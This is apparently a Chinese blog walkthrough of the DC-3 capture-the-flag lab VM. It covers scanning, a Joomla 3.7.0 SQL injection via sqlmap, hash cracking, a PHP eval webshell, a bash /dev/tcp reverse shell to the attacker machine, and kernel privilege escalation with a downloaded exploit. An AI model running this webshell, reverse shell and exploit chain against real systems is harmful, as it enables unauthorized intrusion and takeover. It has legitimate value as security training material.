注意,未经授权的渗透行为均为违法行为,这里攻击的都是官方靶机。

目录

前言

一、前提准备

二、渗透攻击

1.思路

2.渗透过程

2.1 信息收集

 2.2 漏洞发现

2.3 漏洞使用

 2.4 提权

三、总结


前言

DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景,使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题,例如各种操作系统的漏洞,Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值,因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。


一、前提准备

攻击机:Kali

IP地址:192.168.10.137

靶机:DC-3(linux)

IP地址:192.168.10.133

DC-3下载地址:http://www.five86.com/downloads/DC-3.zip

网络:两个主机须在同一局域网下,所以虚拟机的网络配置器必须相同(NAT或者桥接)

目标:找到flag


二、渗透攻击

1.思路

进行渗透测试一定要有思路,我的思路是:

信息收集—> 寻找漏洞—> 利用漏洞(sql注入,文件上传漏洞,框架漏洞,ssh攻击等)—> 反弹shell—>进行提权


2.渗透过程

2.1 信息收集

我们先使用netdiscover工具,通过ARP扫描发现活动主机。

netdiscover -r 192.168.10.0/24

 我们发现了靶机的ip地址:192.168.10.133,然后我们使用nmap工具进行端口扫描具体信息。

nmap -sS -sV -T4 -O -A 192.168.10.133

 我们发现靶机开起了80端口,对应的是http服务,也就是有网站,我们先进入网页查看一下。

 有登录页面进行了爆破弱口令并未爆破出来,我们接着是使用whatweb工具进行网站框架扫描。

whatweb http://192.168.10.133

 发现此网站的框架是Joomla,先进行保留,对网站进行目录扫描。

dirsearch -u http://192.168.10.133/ -X 404 502 403

 我们扫出了后台管理登录界面,进入查看需要账户和密码,再次进行弱口令爆破,依旧不行。


 2.2 漏洞发现

我们现在拥有着网站后台管理页面,但不知道他的账号和密码,这里猜测可能会有sql注入(但是找不到注入点),我们还知道框架是Joomla,于是我们进行搜索此框架有什么漏洞,于是发现了我之前的猜想是正确的,还找到了工具joomscan,这个工具是自动化探测Joomla框架的漏洞,需要使用apt install joomscan进行下载。

 我们使用joomscan工具进行漏洞扫描。

joomscan -u 192.168.10.133

 发现了他的版本,于是我是用msf进行漏洞搜索可不可以直接上线,最后发现不可以,我又想到了另一个漏洞集成工具searchsploit。

searchsploit是一个基于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。

searchsploit Joomla 3.7.0

 发现漏洞,我们进一步查看此CMS漏洞信息,先查找此漏洞文件的具体位置。

searchsploit -p 42033.txt

 我们查看漏洞文件。

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt


2.3 漏洞使用

 发现确实为sql注入漏洞并且searchsploit也将如何注入告诉了我们,直接使用sqlmap工具就可以。

sqlmap -u "http://192.168.10.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

sqlmap -u "http://192.168.10.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables  -p list[fullordering]

sqlmap -u "http://192.168.10.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns  -p list[fullordering]

sqlmap -u "http://192.168.10.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password,username" --dump  -p list[fullordering]

账户:admin

密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

 最终我们将账户与密码爆出,但密码进行了哈希加密,我们使用kali自带解密工具john进行解密,

我们先将加密密文放入txt文件中,在进行解密。

john /root/Desktop/DC-password.txt

成功破解密码,如果我们想在一次查看破解的密码需要加入--show指令,如

john --show /root/Desktop/DC-password.txt

账户:admin

密码:snoopy

我们前往网站进行登录,进入管理界面(这里webshell是之前测试发送的,不会干扰渗透测试)。

 我们发现了Welcome to DC-3文件,点击查看。

Welcome to DC-3.
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge.  :-)

欢迎来到DC-3。
这一次,只有一面旗帜,一个入口,没有线索。
要获得该标志,显然必须获得根权限。
如何成为根取决于你自己,当然也取决于系统。
祝你好运——我希望你喜欢这个小挑战。: -)

此文件给出了打穿靶机的关键,就是提到root权限就可以拿到flag,我们进行网站漏洞测试,发现了文件上传漏洞,在Templates/Templates/Beez3

 

 我们发现可以上传文件,于是直接上传一句话木马,这里推荐先创建一个php文件(New File),再输入一句话木马。

<?php eval(@$_POST['password']);?>

 在Joomla框架中,Templates是直接存在于根目录下的,于是我们进行访问查看一句话木马是否上传成功,我们进入网站查看测试。

http://192.168.10.133/templates/beez3/webshell.php

 页面可以进入,且无数据显示,说明上传成功,直接蚁剑连接。

  连接成功,于是我们打开终端,查询权限以及命令,窗口命令太小,想反弹shell,但是使用bash,python,php,msf进行反弹都未成功,我想到可以在网站上传反弹指令,直接反弹。

于是回到网页上传页面,创建了一个反弹shell的php文件。

<?php
system ("bash -c 'bash -i  >& /dev/tcp/192.168.10.137/4444  0>&1'");
?>

 开启攻击机的监听口,准备接收shell。

nc -lvp 4444

访问反弹shell的网页,使php命令执行。

http://192.168.10.133/templates/beez3/shell.php

成功反弹shell。

 然后从非交互式shell变为交互式shell,这里使用python。

python -c 'import pty;pty.spawn("/bin/bash")'


 2.4 提权

更改为交互式shell后,我们先查看还可以使用什么命令。

cat /etc/sudoers
sudo -l

 啥也没有,命令提权此方法行不通,突然想到可以用操作系统漏洞提权,先查看linux版本。

cat /etc/issue

 发现版本是Ubuntu 16.04 ,使用searchsploit工具进行搜索。

searchsploit Ubuntu 16.04

 发现一个提权漏洞(Privilege Escalation  特权升级),具体查看一下。

searchsploit -p linux/local/39772.txt

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

 这里他告诉了可以使用溢出提权(exp提权),并提供了提权工具,以及使用方法,使用wget进行工具下载。

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

 下载成功,我们进行解压。

unzip -n 39772.zip

解压后发现其实提权工具都在exploit.tar包中,我们通过蚁剑上传到网站目录下。

 在shell中进行解压。

tar -xvf exploit.tar

 进入解压后的目录中,按照searchsploit工具中的提示进行提权。

cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
./doubleput

 发现已经提到了root权限,进入root文件夹,查看flag,至此DC-3靶机已经被打穿。

cd root
ls
cat the-flag.txt

 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!


三、总结

DC-3靶场攻破过程:

1.首先我们进行主机发现,将测试机的网站进行了指纹扫描,发现它的框架是Joomla且找到了后台管理页面,然后进入百度搜索相关漏洞,发现了有自动化扫描漏洞工具joomscan,扫描出了网站框版本为Joomla 3.7.0。

2.我们先用msf进行漏洞扫描,发现有但是不可上线,再用searchsploit工具进行搜索,发现了网站sql注入漏洞,使用工具提供的sqlmap注入语句将账户与密码的哈希值跑出,在使用kali自带的john工具破解哈希值,得到真正的密码,登陆了后台管理系统。

3.在后台管理系统中挖呀挖呀挖,挖到了文件上传漏洞,上传了一句话木马用于连接蚁剑,有上传了反弹shell代码,拿到shell,再使用python改为交互式shell。

4.我们使用了cat /etc/sudoers  sudo -l等命令想查找可用命令提权,发现没有;于是想到了linux版本提权,使用cat /etc/issue命令发现linux版本为Ubuntu 16.04,再次使用searchsploit工具进行搜索,发现了提权漏洞,是一个溢出提权(exp提权),并给出了提权工具以及使用方法,根据提示方法最终提到root权限,在root目录下发现了flag。

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐